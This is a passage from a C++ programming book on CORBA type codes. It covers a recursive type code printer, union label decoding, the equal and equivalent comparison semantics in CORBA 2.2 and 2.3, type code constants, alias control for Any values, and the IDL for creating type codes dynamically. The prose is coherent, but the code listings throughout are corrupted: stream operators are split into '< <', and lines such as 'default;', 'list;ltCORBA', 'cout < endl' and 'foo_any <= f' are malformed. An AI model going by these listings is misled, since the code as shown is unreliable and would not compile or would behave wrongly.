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// show, 'tlist' is the list of type codes seen so far,  
// 'indent_lvl' is the current nesting level. 'tlist' is used  
// to prevent getting trapped in an infinite loop for recursive  
// structures and unions.  
// 
 
void  
show_TC(  
    CORBA::TypeCode_ptr         tcp, 
    list<CORBA::TypeCode_var> & tlist,  
    int                         indent_lvl)  
{  
    static const char * const kind_name[] = { 
        "tk_null", "void", "short", "long", 
        "unsigned short", "unsigned long", "float", 
        "double", "boolean", "char", "octet", "any", 
        "CORBA::TypeCode", "CORBA::Principal", 
        "interface", "struct", "union", "enum", 
        "string", "sequence", "array", "typedef", 
        "exception", "long long", "unsigned long long",  
        "long double", "wchar", "wstring", "fixed" 
    };  
    indent(indent_lvl); 
    cout < < kind_name[tcp->kind()];     // Print the TCKind value. 
 
    // 
    // Print name and repository ID for those type codes  
    // that have these parameters.  
    // 
    switch (tcp->kind()) {  
    case CORBA::tk_objref:  
    case CORBA::tk_struct:  
    case CORBA::tk_union:  
    case CORBA::tk_except:  
    case CORBA::tk_enum:  
    case CORBA::tk_alias:  
        cout < < " " < < tcp->name() 
             < < " (" < < tcp->id() < < "):" < < endl; 
    default; 
        ;             // Do nothing 
    } 
 
     
show_TC contains a static array that maps the TCKind enumerators to strings for 
printing. After calling indent to set the current indent level, show_TC prints the name 
of the current type, such as "struct" or "string." Type codes for object references, 
structures, unions, exceptions, enumerations, and type definitions contain both a name 
and a repository ID; the function next prints the name and repository for these type codes. 
Note that we do not use _var types here to deallocate the name and repository ID 
because the type code retains ownership of the returned strings. 
 
The next few lines of show_TC print the parameters for non-recursive type codes: 
      
    //  
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    // For type codes that have other parameters, 
    // show the remaining parameters.  
    // 
    switch (tcp->kind()) {  
    default:                    // No other params to print  
        cout < < endl;  
        break;  
    // 
    // For fixed types, show digits and scale.  
    // 
    case CORBA::tk_fixed:  
       cout < < "<" < < tcp->fixed_digits() < < "," 
             < < tcp->fixed_scale() < < ">" < < endl; 
        break; 
    // 
    // For enumerations, show the enumerators.  
    // 
    case CORBA::tk_enum:  
        indent(indent_lvl + 1);  
        for (CORBA::ULong i = 0; i < tcp->member_count(); i++) { 
            cout < < tcp->member_name(i);  
            if (i < tcp->member_count() - 1)  
                cout < < ", ";  
        }  
        cout < endl; 
        break; 
    // 
    // For strings, show the bound (if any).  
    // 
    case CORBA::tk_string:  
    case CORBA::tk_wstring:  
        {   CORBA::ULong l = tcp->length();  
            if (l != 0)  
                cout < < "<" < < l < < ">";  
            cout < < endl; 
        } break;  
    // 
    // For sequences, show the bound (if any) and 
    // the element type.  
    // 
    case CORBA::tk_sequence:  
        {  
            CORBA::ULong l = tcp->length(); 
            if (l != 0) 
                cout < < "<" < < l < < ">"; 
            cout < < ":" < < endl;  
            CORBA::TypeCode_var etype = tcp->content_type();  
            show_TC(etype, tlist, indent_lvl + 1); 
        } 
        break; 
    // 
    // For arrays, show the dimension and element type.  
    // 
    case CORBA::tk_array:  
        { 
            CORBA::ULong l = tcp->length(); 
            cout < < "[" < < l < < "]:" < < endl; 
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            CORBA::TypeCode_var etype = tcp->content_type(); 
            show_TC(etype, tlist, indent_lvl + 1); 
         } 
        break; 
    // 
    // For typedefs, show the type of the aliased type.  
    // 
    case CORBA::tk_alias:  
        { 
            CORBA::TypeCode_var atype = tcp->content_type();  
            show_TC(atype, tlist, indent_lvl + 1); 
        } 
        break; 
 
     
The default case at the beginning of the switch statement catches type codes that do 
not have parameters and terminates output with a newline character. The other branches 
of the switch statement call the member functions appropriate for the TCKind value of 
the type code according to Table 16.1. 
 
For structures and unions, show_TC must take special action because structures and 
unions can be recursive. If show_TC were to simply call itself to print structure and 
union members, it could get trapped in a recursive loop. To avoid this, show_TC uses 
the list of type codes processed so far in the tlist parameter. Before descending into a 
structure or union member, show_TC checks whether the member's type code is already 
in the list. If it is not, show_TC adds the current type code to the list and decomposes it 
by recursing. If the type code is already in the list, show_TC shows the name and 
repository ID of the member's type code but does not recurse. 
 
Here is the branch of the switch statement for structures and exceptions: 
      
    //  
    // For structures and exceptions, show the  
    // names and types of each member.  
    // 
    case CORBA::tk_struct:  
    case CORBA::tk_except:  
        {  
            // 
            // Avoid a recursive loop by checking whether we  
            // have shown this type code before. 
            // 
            list<CORBA::TypeCode_var>::iterator where;  
            where = find_if(  
                        tlist.begin(), tlist.end(), 
                        EqualTypeCodes(tcp) 
                    );  
            // 
            // If we have not seen this type code before, add it  
            // to the list of type codes processed so  far and  
            // decode the member type codes.  
            // 
            if (where == tlist.end()) {  



IT-SC book: Advanced CORBA® Programming with C++ 

 616 

                tlist.push_back(CORBA::TypeCode::_duplicate(tcp)); 
                for (CORBA::ULong i = 0;  
                     i < tcp->member_count(); i++) { 
                    cout < < tcp->member_name(i) < < ":" < < endl; 
                    indent(indent_lvl + 1); 
                    CORBA::TypeCode_var mt = tcp->member_type(i);  
                    show_TC(mt, tlist, indent_lvl + 2);  
                }  
            } else {  
                cout < < " " < < tcp->name()  
                     < < " (" < < tcp->id() < < ")" < < endl;  
            } 
        } 
        break;  
 
     
We use the STL find_if algorithm to check whether a type code is already in the list. 
Because tlist is a simple list, the cost of doing this is O(n). This cost is acceptable 
because structures and unions rarely nest more than one or two levels, so tlist will 
typically contain only a few entries. The EqualTypeCodes argument to find_if is a 
simple function object for type code comparison (see Section 16.5). 
 
Note that exceptions and structures are dealt with in the same branch of the switch 
statement. This works because exceptions are encoded the same as structures. Exceptions 
cannot be recursive, so the preceding code simply does not recurse for exceptions. In 
addition, exceptions (as opposed to structures) can be empty, in which case 
member_count returns zero and the code prints nothing. 
 
The remainder of show_TC deals with unions. Unions are treated in a similar manner as 
structures, with tlist preventing infinite recursion. However, for unions, we also need 
to show the discriminator type and the case labels for each union branch: 
      
    //  
    // For unions, show the discriminator type. 
    // Then, for each member, show the case label, 
    // member name, and member type. To show the case  
    // label, we use the show_label() helper function. 
    // 
    case CORBA::tk_union: 
        {  
            // 
            // Avoid getting trapped in a recursive loop. 
            // 
            list;ltCORBA::TypeCode_var>::iterator where; 
            where = find_if( 
                        tlist.begin(), 
                        tlist.end(), 
                        EqualTypeCodes(tcp) 
                    );  
            // 
            // Show the members only if we haven't shown this type  
            // code before. 
            // 
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            if (where == tlist.end()) { 
                tlist.push_back(CORBA::TypeCode::_duplicate(tcp)); 
                indent(indent_lvl + 1); 
                // 
                // Show discriminator type. 
                // 
                cout < < "Discriminator type:" < < endl; 
                CORBA::TypeCode_var dt; 
                dt = tcp->discriminator_type(); 
                show_TC(dt, tlist, indent_lvl + 2); 
                // 
                // Show case label, member name, and 
                // member type for each member. 
                // 
                for (CORBA::ULong i = 0; 
                 
                     i ;lt tcp->member_count(); i++) { 
                    CORBA::Any_var label = tcp->member_label(i); 
                    indent(indent_lvl + 1); 
                    show_label(label); 
                    indent(indent_lvl + 2); 
                    cout < < tcp->member_name(i) < < ":" < < endl;  
                    CORBA::TypeCode_var mt = tcp->member_type(i); 
                    show_TC(mt, tlist, indent_lvl + 3); 
                } 
            } else { 
                cout < < " " < < tcp->name() 
                     < < " (" < < tcp->id() < < ")" < < endl;  
            } 
        } 
        break; 
    } 
} 
 
     
Note that member_label returns the value of each case label of a union as an Any. To 
print the label value, show_TC calls the show_label helper function. This function is 
mostly trivial; it extracts the type code from the passed Any to get the type of the label 
and extracts the value of the label according to its type using the corresponding 
operator>>= function: 
      
void 
show_label(const CORBA::Any * ap) 
{ 
    CORBA::TypeCode_var tc = ap->type(); 
    if (tc->kind() == CORBA::tk_octet) { 
        cout < < "default:" < < endl; 
    } else { 
        cout < < "case "; 
        switch (tc->kind()) { 
        case CORBA::tk_short: 
            CORBA::Short s; 
            *ap >>= s; 
            cout < < s; 
            break; 
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        case CORBA::tk_long: 
            CORBA::Long l; 
            *ap >>= l; 
            cout < < l; 
            break; 
        case CORBA::tk_ushort: 
            CORBA::UShort us; 
            *ap >>= us; 
            cout < < us; 
            break; 
        case CORBA::tk_ulong: 
            CORBA::ULong ul; 
            *ap >>= ul; 
            cout < < ul; 
            break; 
        case CORBA::tk_boolean: 
            CORBA::Boolean b; 
            *ap >>= CORBA::Any::to_boolean(b); 
            cout < < (b ? "TRUE" : "FALSE"); 
            break; 
        case CORBA::tk_char: 
            CORBA::Char c; 
            *ap >>= CORBA::Any::to_char(c); 
            if (isalnum(c)) { 
                cout < < "'" < < c < < "'"; 
            } else { 
                cout < < "'\\" < < setw(3) < < setfill('0') 
                     < < oct < < (unsigned)c < < "'"; 
            } 
            break; 
        case CORBA::tk_longlong: 
            CORBA::LongLong ll; 
            *ap >>= ll; 
            cout < < ll; 
            break; 
        case CORBA::tk_ulonglong: 
            CORBA::ULongLong ull; 
            *ap >>= ull; 
            cout < < ull; 
            break; 
        case CORBA::tk_wchar: 
            CORBA::WChar wc; 
            *ap >>= CORBA::Any::to_wchar(wc); 
            cout < < "'" < < wc < < "'"; 
            break; 
        case CORBA::tk_enum:  
            // Oops, problem here... We need the IDL stubs 
            // to extract the enumerator. 
            break; 
        default: 
            // Union discriminator can't be anything else 
            abort(); 
        } 
        cout < < ":" < < endl; 
    } 
} 
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Most of this code is straightforward. If the type code for a case label has a TCKind value 
of tk_octet, the corresponding member is the default member of the union. Otherwise, 
show_label extracts the label value according to the discriminator type indicated by 
the label's type code. Note that for discriminators of type boolean, char, and wchar, 
show_label uses the appropriate helper functions on CORBA::Any (to_boolean, 
to_char, and to_wchar) for the extraction. 
 
One problem arises for union labels of enumerated type. Consider again the union from 
our climate control system: 
      
union KeyType switch(SearchCriterion) { 
case ASSET: 
    AssetType   asset_num; 
case LOCATION: 
    LocType    loc; 
case MODEL: 
    ModelType   model_num; 
}; 
 
     
When show_label is used to decode the type code for a KeyType union, we hit a 
snag: to extract the label value, we must call an extraction operator that is over-loaded for 
the enumerated type. For example: 
      
case CORBA::tk_enum: 
    CCS::Controller::SearchCriterion sc; 
    *ap >>= sc;                             // No good 
   break; 
 
     
The problem with this is that we must have the correct overloaded operator linked into 
the code. This is fine for a version of show_label specifically written for the climate 
control system; we can simply link the code generated by the IDL compiler. However, 
suppose we would like to have a generic show_label function that will work for all 
enumerated types, even those that will be defined in the future. With the extraction 
functions on type Any we have seen so far, this is impossible. We could try to use the 
value member function of type Any to get a pointer to the raw value: 
      
case CORBA::tk_enum: 
    const void * val; 
    val = ap->value();  // No good either... 
    // Now what? 
    break; 
 
     
The value member returns a pointer to the value representing the enumerator. However, 
this does not help. The returned pointer points at data internal to the Any, and we have no 
idea of the binary layout of that data. (Attempts to cast the memory pointed to by val are 
not portable and may yield the wrong result.) 



IT-SC book: Advanced CORBA® Programming with C++ 

 620 

This problem not only exists for enumerations but also occurs if we want to extract any 
user-defined type without linking against the IDL-generated code for that type. We 
simply do not have the necessary extraction operator to get a value of user-defined type 
out of an Any, even though we can interrogate the Any's type code to learn about the 
type of the value. 
 
In Chapter 17 we discuss how to use type DynAny to get around this limitation. 

16.5 Type Code Comparisons 

The show_TC function relies on being able to detect whether a particular type code was 
processed earlier. We detect an already-processed type code by using the STL find_if 
algorithm: 
      
where = find_if(tlist.begin(), tlist.end(), EqualTypeCodes(tcp)); 
 
     
Here, we pass the EqualTypeCodes function object to find_if. The conversion 
operator to bool in EqualTypeCodes carries out type code comparison during the 
traversal of the container: 
      
// 
// Predicate object for find_if algorithm. Returns true 
// if a type code in a container is equal to the type 
// code passed to the constructor. 
// 
struct EqualTypeCodes { 
            EqualTypeCodes( 
                CORBA::TypeCode_ptr tc 
            ): _ptr(tc) {} 
    bool    operator()(CORBA::TypeCode_ptr rhs) const { 
                return _ptr->equal(rhs); 
            } 
    CORBA::TypeCode_ptr _ptr; 
}; 
 
     
The constructor of EqualTypeCodes stores the current type code in the variable _ptr, 
and the conversion operator calls TypeCode::equal to compare the remembered type 
code against the current type during iteration. 

16.5.1 Semantics of TypeCode::equal 

What does it mean for two types to be equal, as determined by TypeCode::equal? 
Unfortunately, the answer depends on whether you are using a CORBA 2.3 ORB for the 
comparison and whether the type codes were created by a CORBA 2.3 or earlier ORB. 
The behavior of the TypeCode::equal operation is well defined in CORBA 2.3 but 
has implementation-dependent behavior in earlier versions (or, more bluntly, equal was 
underspecified before CORBA 2.3). 
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For CORBA 2.3, equal performs an exact comparison and returns true only if two type 
codes are identical in all respects. All operations that apply for the two type codes' 
TCKind values must return identical results for equal to return true. Member names, 
type names, repository IDs, and aliases are all considered significant and must be the 
same. 
 
For CORBA 2.2 and earlier, equal has implementation-dependent behavior. It may or 
may not consider aliases significant, and it may or may not consider type names and 
member names significant. (The repository ID is considered significant in all 
implementations we are aware of.) 
 
The difference in behavior arises because of the parameters marked as optional in Table 
16.1 on page 696. For CORBA 2.2 and earlier, repository IDs and type and member 
names are optional. Because of this, the outcome of a comparison with equal depends 
on whether or not an ORB chooses to marshal repository IDs and on whether type and 
member names are present in a type code. To make matters worse, the behavior of 
equal was never clearly defined in CORBA 2.2, so the outcome of a comparison also 
depends on your particular ORB implementation. The remainder of this section uses the 
following IDL definition to illustrate this behavior: 
       
struct foo { 
   long   l_mem; 
   string s_mem; 
}; 
 
typedef foo alias_of_foo; 
 
struct bar { 
    long   long_member; 
    string string_member; 
}; 
 
      
Note that foo and bar are structurally equal—that is, they contain the same number and 
type of members in the same order—so the differences are confined to their repository 
IDs, type names, and member names. 

Using equal in a CORBA 2.3 ORB 

Assuming that both type codes were created by a CORBA 2.3 ORB, comparisons of the 
three types with equal in a CORBA 2.3 ORB have the following outcomes. 
foo and bar are not equal. 
foo and alias_of_foo are not equal. 
bar and alias_of_foo are not equal. 
In other words, in CORBA 2.3, given CORBA 2.3 type codes, equal implements a 
precise comparison and requires all parameters of the two type codes to be exactly the 
same. 
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If one or both type codes were created by a pre-CORBA 2.3 ORB, comparison of the 
three types with equal in a CORBA 2.3 ORB depends on how much information is 
present in the type codes. 
 
If at least one of the type codes preserves the repository ID or a type or member name, 
equal is reliable and returns the same results as for CORBA 2.3 type codes (that is, it 
implements a precise comparison). 
 
If neither type code preserves any of its optional parameters, equal uses structural 
comparison. 
foo and bar are equal. 
foo and alias_of_foo are not equal. 
bar and alias_of_foo are not equal. 

Using equal in a CORBA 2.2 or Earlier ORB 

With a CORBA 2.2 ORB, the outcome of comparisons depends on the origin of the type 
codes. 
 
If both type codes were created by the same ORB, the comparison works as in CORBA 
2.3 (at least in all ORB implementations we are aware of). 
 
If the type codes were created by different ORBs, the outcome depends on the 
implementation of equal as well as the amount of information that is present in the type 
codes. This means that equal in CORBA 2.2 has implementation-dependent behavior 
for all three comparisons. 

16.5.2 Semantics of TypeCode::equivalent 

The CORBA 2.2 situation with respect to type comparison was highly unsatisfactory. 
Even though many applications never use type codes directly, the imprecise comparison 
semantics caused a number of portability and interoperability problems. To address this, 
CORBA 2.3 added a precise definition for equal, as explained in the preceding section. 
In addition, CORBA 2.3 introduced the Type-Code::equivalent operation. 
 
The equivalent operation performs type code comparison while ignoring aliases. The 
operation first follows alias chains that may be present in either type code by ignoring all 
type codes with tk_alias; then it uses the repository IDs of the unaliased type codes 
to determine whether the two type codes are the same. The exact outcome depends on the 
origin of the type codes. 
 
If both type codes were created by a CORBA 2.3 ORB, equivalent produces the 
following results. 
 
foo and bar are not equivalent. 
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foo and alias_of_foo are equivalent. 
bar and alias_of_foo are not equivalent. 
 
If one or both type codes were created by a pre-CORBA 2.3 ORB, the outcome depends 
on how much information is carried by the type codes. 
 
If both type codes carry repository IDs, the outcomes are as follows. 
 
foo and bar are not equivalent. 
foo and alias_of_foo are equivalent. 
bar and alias_of_foo are not equivalent. 
 
If one or both type codes omit the repository ID, all three pairs of types are considered 
equivalent. 
 
Intuitively, the behavior of equivalent is that it performs a comparison that ignores 
aliases but otherwise treats types with different names as distinct even if they are 
structurally equivalent. However, if the type codes do not carry a repository ID, 
equivalent falls back to a structural comparison. 

16.5.3 Why Make Names Optional in Type Codes? 

Considering the difficulty it creates, you may wonder why CORBA 2.2 allowed 
repository IDs and type and member names to be the empty string. The motivation for 
optional parameters is to save bandwidth when type codes are marshaled over the wire. 
For example, again consider the union from the climate control system: 
       
union KeyType switch(SearchCriterion) { 
case ASSET: 
  AssetType   asset_num; 
case LOCATION: 
  LocType     loc; 
case MODEL: 
  ModelType   model_num; 
}; 
 
      
The type code for this union describes the union itself and also contains the type code for 
the enumerated discriminator. If a type code carries a repository ID, type name, and 
member names, the type code for this union contains the following strings, all of which 
are sent over the wire: 
       
IDL:acme.com/CCS/Controller/SearchCriterion:1.0 // Repository ID 
SearchCriterion                 // Enum name 
ASSET                        // Enumerator 
LOCATION                         // Enumerator 
MODEL                         // Enumerator 
IDL:acme.com/CCS/Controller/KeyType:1.0     // Repository ID 
KeyType                       // Union name 
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asset_num                     // Member name 
loc                       // Member name 
model_num                  // Member name 
 
      
The strings for the various names consume a total of 147 bytes, not counting NUL 
terminators. In other words, the type code for a KeyType union is 147 bytes larger if all 
these names are present than if the names are empty. Considering that a value of type 
KeyType consists of an enumerated value for the discriminator and either a string or a 
number, this overhead is substantial. The type codes for unions, structures, exceptions, 
and enumerations suffer from this problem most often; the names account for the bulk of 
the size of a type code when it is marshaled. When you are sending values of type any 
over the wire, it can happen that the actual value in the any is only a few bytes long, 
whereas its associated type code consumes several hundred bytes. This problem becomes 
particularly noticeable when you are using complex types with the OMG Event Service 
(see Chapter 20), which uses type any to distribute events. 
 
For CORBA 2.3, the repository ID is mandatory, and only type and member names can 
be empty. In that case, the type code for the union carries 86 bytes for its strings, still a 
substantial saving compared with 147 bytes. 

16.5.4 Portability of Type Code Comparisons 

The differences in the TypeCode interface and the different semantics of equal 
between CORBA 2.2 and 2.3 create a portability problem. How can you write code that 
reliably compares type codes with the desired semantics? 
 
For CORBA 2.3, the answer is easy. You can use either equivalent or equal as 
appropriate for your application because both operations have well-defined semantics in 
CORBA 2.3. In addition, even with pre-CORBA 2.3 type codes, equal and 
equivalent perform comparisons that give the correct results in most cases. (False 
positives happen only if type codes do not carry a repository ID.) 
 
For CORBA 2.2 ORBs and earlier, equivalent does not exist and equal has 
implementation-dependent behavior. If you do not care about stripping aliases, it is 
probably safe to use equal, because for all pre-CORBA 2.3 ORBs we are aware of, 
equal performs an exact comparison that does not ignore aliases. If you require 
comparisons that ignore aliases for a pre-CORBA 2.2 ORB, it is safest to write your own 
comparison function that first strips aliases before passing a type code to equal. (Keep 
in mind, though, that if an ORB omits both repository IDs and names in type codes, you 
can perform only a structural comparison because the information for more strict 
semantics is not available.) 

16.5.5 Semantics of Extraction from Type any 
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The semantics of type code comparison become most visible when you are extracting a 
value from an Any because extraction fails if a value does not match the type as which it 
is extracted. For CORBA 2.3 and later revisions, ORBs use equivalent to determine 
whether extraction should succeed. For CORBA 2.2 and earlier revisions, successful 
extraction depends on the (underspecified) semantics of equal. 
 
Here is an example to illustrate this point. (Assume the IDL definitions of foo and bar 
on page 716.) 
       
foo f = ...; 
alias_of_foo aof = ...; 
bar b = ...; 
 
CORBA::Any foo_any; 
CORBA::Any aof_any; 
CORBA::Any bar_any; 
foo_any <= f; 
aof_any <= aof; 
bar_any <= b; 
 
foo * foo_p; 
foo_any >> foo_p;    // Succeeds 
aof_any >> foo_p;    // Succeeds in 2.3, undefined in 2.2 
bar_any >> foo_p;   // Fails in 2.3, undefined in 2.2 
 
      
The matching extraction succeeds in CORBA 2.3 and succeeds in all CORBA 2.2 ORBs 
we are aware of. The alias extraction succeeds in CORBA 2.3 and may or may not 
succeed in CORBA 2.2. The non-matching extraction fails in CORBA 2.3 but may or 
may not fail in CORBA 2.2. 
 
Unfortunately, for your program to remain portable in CORBA 2.2 environments, your 
only defense is to write your own comparison operation that you can call before 
attempting an extraction. But keep in mind that even this approach is limited by the 
information that is actually present in the type codes you compare. (This becomes an 
issue if you receive any values from programs written using an older ORB.) 
 
In Section 16.7 we discuss how you can explicitly test for a specific alias during 
extraction. 

16.5.6 Structural Equivalence 

Some applications require structural type equivalence. For example, it may be necessary 
to always treat the types foo and bar on page 716 as equivalent. Your only choice for 
implementing such structural equivalence is to write your own comparison function that 
ignores the repository ID and names in type codes and performs comparisons based 
purely on identical TCKind values at each nesting level. 

16.5.7 The get_compact_typecode Operation 
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The get_compact_typecode operation removes all type and member names from a 
type code. The repository ID and alias information are preserved. The operation is useful 
mainly to strip a type code of excess baggage before sending it to another address space. 
get_compact_typecode is of interest mainly to implementers of services such as 
the Event Service. In addition, CORBA 2.3 ORBs will most likely transmit type codes in 
their minimal form anyway, so you should have no need to call this operation unless you 
are building a specialized application, such as a protocol bridge. 

16.6 Type Code Constants 

As you saw in Section 16.4, we can use the Any::type member function to extract the 
type code from an Any value. In addition, the CORBA specification requires an ORB to 
make type code constants available to the application. 

16.6.1 Constants for Built-In Types 

For built-in types, an ORB header file contains type code constants for types in the 
CORBA namespace: 
       
namespace CORBA { 
    // ... 
    const CORBA::TypeCode_ptr _tc_null = ...; 
    const CORBA::TypeCode_ptr _tc_void = ...; 
    const CORBA::TypeCode_ptr _tc_short = ...; 
    const CORBA::TypeCode_ptr _tc_ushort = ...; 
    const CORBA::TypeCode_ptr _tc_long = ...; 
    const CORBA::TypeCode_ptr _tc_ulong = ...; 
    const CORBA::TypeCode_ptr _tc_float = ...; 
    const CORBA::TypeCode_ptr _tc_double = ...; 
    const CORBA::TypeCode_ptr _tc_boolean = ...; 
    const CORBA::TypeCode_ptr _tc_char = ...; 
    const CORBA::TypeCode_ptr _tc_octet = ...; 
    const CORBA::TypeCode_ptr _tc_any = ...; 
    const CORBA::TypeCode_ptr _tc_TypeCode = ...; 
    const CORBA::TypeCode_ptr _tc_Object = ...; 
    const CORBA::TypeCode_ptr _tc_string = ...;     // Unbounded 
    const CORBA::TypeCode_ptr _tc_longlong = ...; 
    const CORBA::TypeCode_ptr _tc_ulonglong = ...; 
    const CORBA::TypeCode_ptr _tc_longdouble = ...; 
    const CORBA::TypeCode_ptr _tc_wchar = ...; 
    const CORBA::TypeCode_ptr _tc_wstring = ...;    // Unbounded 
    // ... 
} 
 
      
Each constant is a pseudo-reference to the corresponding type code. For example, 
_tc_ulong is a reference to the type code whose TCKind value is tk_ulong. All the 
type code constants denote type codes without parameters, with the exception of 
_tc_string, _tc_wstring, and _tc_Object. For strings, the constants denote 
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unbounded strings. The _tc_Object constant describes the type Object. For 
example, we can call the show_TC function as follows: 
       
show_TC(CORBA::_tc_Object); 
 
      
The output from this is 
       
interface Object (IDL:omg.org/CORBA/Object:1.0) 
 
      
The type code constants are generated for all built-in and predefined types. For example, 
the TypeCode interface defines the Bounds exception, so there is a type code constant 
called CORBA::TypeCode::_tc_Bounds that describes this exception. 
 
Keep in mind that the type code constants are object references. This means that you 
cannot compare them directly. For example, the following code is in error (even though it 
may compile): 
       
CORBA::Any a = ...; 
// ... 
CORBA::TypeCode_ptr tcp = a.type(); // Get type code from a 
 
if (tcp == CORBA::_tc_boolean)      // Undefined behavior! 
    ...; 
 
switch (tcp) {                      // Also undefined behavior! 
case CORBA::_tc_boolean: 
    // ... 
}; 
 
      
This code contains two errors because it attempts to compare object references using ==. 
Depending on how your ORB implements the C++ mapping, this code may compile, but 
the behavior is completely undefined because it is illegal to compare object references 
directly. 
 
Neither can we use _is_equivalent for this comparison: 
       
CORBA::Any a = ...; 
// ...  
CORBA::TypeCode_ptr tcp = a.type();             // Get type code 
 
if (tcp->_is_equivalent(CORBA::_tc_boolean))    // Error! 
    ...; 
 
      
The call to _is_equivalent will not compile because TypeCode is a pseudo-object. 
As you saw in Section 7.7, pseudo-objects do not implicitly inherit from 
CORBA::Object and therefore support none of the operations defined for 
CORBA::Object, such as is_equivalent. 
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The only way to compare type codes is to use equal or equivalent: 
       
CORBA::Any a = ...; 
// ...  
CORBA::TypeCode_ptr tcp = a.type();      // Get typecode from a 
 
if (tcp->equal(CORBA::_tc_boolean))      // Well defined in 2.3 
    ...; 
if (tcp->equivalent(CORBA::_tc_boolean)) // Well defined 
    ...; 
 
      
Never assign a type code constant to a _var reference. If you do, the result is undefined: 
       
CORBA::TypeCode_var tcv = CORBA::_tc_boolean;   // Disaster! 
 
      
The generated type code constants are just that, constants, and must not be released. 

16.6.2 Constants for User-Defined Types 

The IDL compiler also generates type code constants for user-defined types. The 
constants are generated at the same scope as the point of the definition of the 
corresponding IDL type. For example, if we link against the stub code for the climate 
control system, we can use constants such as CCS::_tc_AssetType and 
CCS::Thermostat::_tc_BtData: 
       
show_TC(CCS::_tc_AssetType); 
show_TC(CCS::Thermostat::_tc_BtData); 
 
      
You can use type code constants for user-defined types in the same way as the constants 
for built-in types. For example: 
       
CORBA::Any a = ...; 
// ... 
CORBA::TypeCode_var tcv = a.type(); // Get type code from a 
 
if (tcv->equal(CCS::_tc_AssetType)) { 
    // It's an asset number... 
} else if (tcv->equal(CCS::Thermostat::_tc_BtData)) { 
    // It's a BtData structure... 
} else if (tcv->equivalent(CCS::_tc_AssetType)) { 
    // It's an asset number or an alias for it... 
} else if (tcv->equivalent(CCS::Thermostat::_tc_BtData)) { 
    // It's a BtData structure or an alias for it... 
} 
 
      
Keep in mind, though, that equality comparison for type definitions may not give the 
correct answer because of the inability of the C++ mapping to control the TCKind value 
when inserting a value into an Any (see Section 15.4). This means that in the 
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preceding example, the comparison against _tc_AssetType with equal is likely to 
fail because even if the Any contains an asset number, the type code will likely be 
_tc_ulong instead (at least if the value was inserted into the Any using the C++ 
mapping). Of course, comparison with equivalent will succeed. 

16.7 Type Code Comparison for Type any 

As mentioned in Section 15.4, aliases present special problems for insertion into and 
extraction from type Any. The C++ mapping maps an IDL typedef to a corresponding 
C++ typedef, and that makes it impossible to precisely control the type code when you 
are inserting an aliased type into an Any. In addition, this behavior raises the question of 
how to distinguish between aliases of the same underlying type for the purposes of 
extraction. 

16.7.1 Controlling Alias Information for Insertion into Type Any 

Consider again the example from Section 15.4: 
       
module CCS { 
  typedef string     ModelType; 
  typedef string     LocType; 
  // ... 
}; 
 
      

As you saw in Section 15.4, insertion of a value of type ModelType or LocType 
into an Any results in the Any's type code indicating string and losing the aliasing 
information. Depending on your application, this behavior may not be important. 
However, you may want to distinguish between aliases on the receiving end, and that 
requires the ability to control the type code for an Any for insertion. 
 
The overloaded Any::type member function permits you to control the aliasing 
information for a value of type Any: 
       
ModelType model = CORBA::string_dup("Select-A-Temp"); 
CORBA::Any a; 
a < <= model;            // Sets type code to string 
a.type(CCS::_tc_ModelType); // Sets type code to ModelType 
 
      
The type modifier changes the type code of an Any to the type code passed as the 
argument. In the preceding example, after inserting the model string, we explicitly set the 
type code to ModelType by calling the type modifier. This technique ensures that the 
Any carries the correct aliasing information. 
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You must ensure that the type code you pass is consistent with the value already in the 
Any, as determined by TypeCode::equivalent. If you pass a type code that is not 
equivalent, type raises a BAD_TYPECODE exception. 
 
Note that the type modifier function was added with CORBA 2.3, so this technique 
does not work with pre-CORBA 2.3 ORBs. (For older ORBs, there is no way to control 
the alias information.) 

16.7.2 Testing Alias Information for Extraction from Type Any 

As you saw in >Section 16.5.5, by default, extraction from an Any value succeeds if 
the extracted-to type matches the Any's type code as determined by equivalent, 
which ignores aliases. 
 
If you want to distinguish aliases for the purposes of extraction, you must explicitly test 
for the required alias by testing the Any's type code: 
       
CORBA::Any a; 
// Initialize a somehow... 
 
const char * s; 
if (a >>= s) { 
 
    // We have a string of some kind, get type code 
    CORBA::TypeCode_var tc = a.type(); 
 
    // See what we have... 
    if (tc->equal(CCS::_tc_ModelType)) { 
        // It's a model string... 
    } else if (tc->equal(CCS::_tc_Location)) { 
        // It's a location string... 
    } else { 
        // It's some other kind of string... 
    } 
} else { 
    // The Any does not contain a string... 
} 
 
      
Using this technique, you can distinguish different aliases of the same type at the 
receiving end. Note that the code uses equal instead of equivalent to perform the 
comparison. This is essential—if this code were to call equivalent instead, all strings 
would be treated as model strings because equivalent ignores aliases. 

16.8 Creating Type Codes Dynamically 

CORBA permits you to create type codes "out of thin air"—that is, to create type codes 
for types whose IDL definitions were not known at compile time. Normally, you do not 
need to create type codes yourself. Instead, you use the type codes generated for you by 
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the IDL compiler. The main reason CORBA permits dynamic creation of type codes is to 
support applications such as protocol bridges (for example, to dynamically translate 
CORBA requests into another protocol, such as CMIP). Because this capability is little 
used, we present only a short overview of dynamic type codes here. You can consult the 
CORBA specification [18] for details. 

16.8.1 IDL for Type Code Creation 

The operations used to create type codes dynamically are part of the ORB pseudo-
interface. We show the full IDL here and then show a few examples of dynamic type 
code creation in C++. 
       
module CORBA { 
  // ... 
  typedef string  Identifier; 
  typedef string  RepositoryId; 
 
  interface IRObject { /* ... */ }; 
  interface IDLType : IRObject { /* ... */ }; 
 
    struct StructMember { 
       Identifier  name; 
       TypeCode    type; 
       IDLType     type_def; 
    }; 
    typedef sequence<StructMember> StructMemberSeq; 
 
    struct UnionMember { 
        Identifier  name; 
        any      label; 
        TypeCode    type; 
        IDLType     type_def; 
    }; 
    typedef sequence<UnionMember> UnionMemberSeq; 
 
    typedef sequence<Identifier> EnumMemberSeq; 
 
    interface ORB { 
       // ... 
       TypeCode  create_struct_tc( 
              in RepositoryId   id, 
              in Identifier   name, 
              in StructMemberSeq  members 
            ); 
        TypeCode create_union_tc( 
              in RepositoryId   id, 
              in Identifier    name, 
              in TypeCode        discriminator_type, 
              in UnionMemberSeq  members 
             ); 
 
        TypeCode create_enum_tc( 
              in RepositoryId   id, 
              in Identifier    name, 
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              in EnumMemberSeq  members 
             ); 
 
        TypeCode create_alias_tc( 
              in RepositoryId  id, 
              in Identifier    name, 
              in TypeCode       original_type 
             ); 
 
        TypeCode create_exception_tc( 
              in RepositoryId  id, 
              in Identifier   name, 
              in StructMemberSeq  members 
             ); 
 
        TypeCode create_interface_tc( 
              in RepositoryId   id, 
              in Identifier   name 
             ); 
 
        TypeCode create_string_tc( 
              in unsigned long   bound 
             ); 
 
        TypeCode create_wstring_tc( 
